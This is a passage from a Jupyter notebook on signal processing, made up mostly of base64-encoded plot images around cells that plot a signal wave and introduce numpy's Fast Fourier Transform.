"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\n", "PPyG+L8AAAAASUVORK5CYII=\n" ], "text/plain": [ "<matplotlib.figure.Figure at 0x7f5366b53750>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Prints the signal\n", "plt.figure(1)\n", "plt.title('Signal Wave...')\n", "plt.plot(signal)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Fast Fourier Transform\n", "\n", "We use the Fast Fourier Transform algorithm from the **`numpy`** library." ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/usr/lib/python2.7/dist-packages/numpy/core/numeric.py:460: ComplexWarning: Casting complex values to real discards the imaginary part\n", " return array(a, dtype, copy=False, order=order)\n" ] }, { "data": { "text/plain": [ "[<matplotlib.lines.Line2D at 0x7f5366621e90>]" ] }, "execution_count": 6, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": [ "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\n", 